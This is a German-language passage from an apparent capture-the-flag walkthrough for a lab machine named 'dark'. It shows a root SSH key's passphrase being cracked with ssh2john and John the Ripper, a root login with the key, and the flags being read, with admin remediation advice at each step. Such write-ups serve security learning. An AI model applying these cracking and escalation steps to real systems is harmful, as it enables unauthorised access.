**Analyse:** Der verschlüsselte SSH-Schlüssel wird auf dem Angreifer-System in die Datei `dark` gespeichert und die Berechtigungen auf 600 gesetzt. Ein SSH-Login-Versuch mit `-i dark` scheitert erwartungsgemäß, da eine Passphrase abgefragt wird.
**Bewertung:** Bestätigt, dass der Schlüssel passwortgeschützt ist.
# (Keine Ausgabe, Hash wird in 'hash' gespeichert)
**Analyse:** Das Tool `ssh2john` (Teil von John the Ripper) wird verwendet, um aus der verschlüsselten SSH-Schlüsseldatei `dark` einen Hash-String zu extrahieren, der von John geknackt werden kann. Die Ausgabe wird in die Datei `hash` umgeleitet.
**Bewertung:** Notwendiger Schritt, um den verschlüsselten Schlüssel für das Offline-Cracking vorzubereiten.
Knacken der Passphrase mit John the Ripper.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 16 openMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rootbeer (dark)
1g 0:00:00:00 DONE (2024-09-10 00:48) 50.00g/s 172800p/s 172800c/s 172800C/s haley..yenyen
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
**Analyse:** `John the Ripper` wird mit der Wortliste `rockyou.txt` auf die Hash-Datei `hash` angesetzt. John erkennt den Hash-Typ korrekt und findet sehr schnell die Passphrase: `rootbeer`.
**Bewertung:** **Erfolg!** Die Passphrase für den privaten SSH-Schlüssel des Root-Benutzers wurde geknackt.
**Empfehlung (Pentester):** Nun erneut versuchen, sich mit dem SSH-Schlüssel (`dark`) und der gefundenen Passphrase (`rootbeer`) als `root` anzumelden. **Empfehlung (Admin):** `sudo`-Regel entfernen. Sicherstellen, dass SSH-Schlüssel mit *starken* Passphrasen geschützt sind, die nicht in gängigen Wortlisten vorkommen.
Anmeldung als Root mit dem entschlüsselten SSH-Schlüssel.
Enter passphrase for key 'dark': [Hier wurde rootbeer eingegeben] root@dark: id uid=0(root) gid=0(root) grupos=0(root)
**Analyse:** Der SSH-Login als `root` mit dem Schlüssel (`-i dark`) wird erneut versucht. Diesmal wird die geknackte Passphrase `rootbeer` eingegeben. Der Login ist erfolgreich, und eine Root-Shell (`root@dark:`) wird erhalten. Der `id`-Befehl bestätigt UID 0.
**Bewertung:** **Hervorragend! Privilege Escalation zu Root erfolgreich abgeschlossen!** Der Weg führte über Lateral Movement zu `alan` und die Ausnutzung von `sudo` mit `most`, um den verschlüsselten Root-SSH-Key zu extrahieren, der dann offline geknackt wurde.
**Empfehlung (Pentester):** Root-Flag suchen und Bericht abschließen. **Empfehlung (Admin):** Alle identifizierten Schwachstellen (SNMP, FTP, sudo-Regeln) beheben. Systemintegrität prüfen.
Auffinden der Root- und User-Flags.
r0000000000000000000000000000000000000000t.txt
89de772523ade1decee5ee8867867221
user.txt
4e3ab8f3c2fa84b277be8a376d82ada0
**Analyse:** In der Root-Shell wird zuerst die Root-Flag (`r00...t.txt`) im `/root`-Verzeichnis gefunden und ausgelesen. Anschließend wird in das Home-Verzeichnis von `frank` gewechselt und dort die User-Flag (`user.txt`) ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden.
Privilege Escalation erfolgreich abgeschlossen.